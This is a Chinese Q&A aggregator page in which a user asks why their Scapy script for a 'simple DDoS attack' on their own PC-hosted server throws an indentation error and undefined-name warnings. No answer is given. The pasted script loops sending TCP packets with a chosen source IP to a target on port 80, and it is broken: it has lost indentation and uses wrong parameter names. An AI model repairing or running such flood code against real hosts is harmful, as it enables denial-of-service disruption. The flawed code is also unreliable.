问题描述
我正在尝试对我在 PC 上托管的服务器进行简单的 dDos 攻击。 但是当我启动这个程序时,它说:
unexpected indent (<unkNown>,line 14)
代码:
from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1
while True:
IP1 = IP(source_IP = source_IP,destination = target_IP)
TCP1 = TCP(srcport = source_port,dstport = 80)
pkt = IP1 / TCP1
send(pkt,inter = .001)
print ("packet sent " + i)
i = i + 1
我该如何解决?
编辑:
Undefined variable 'send'
Undefined variable 'TCP'
Undefined variable 'IP'
Unable to import 'scapy.all'
...
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)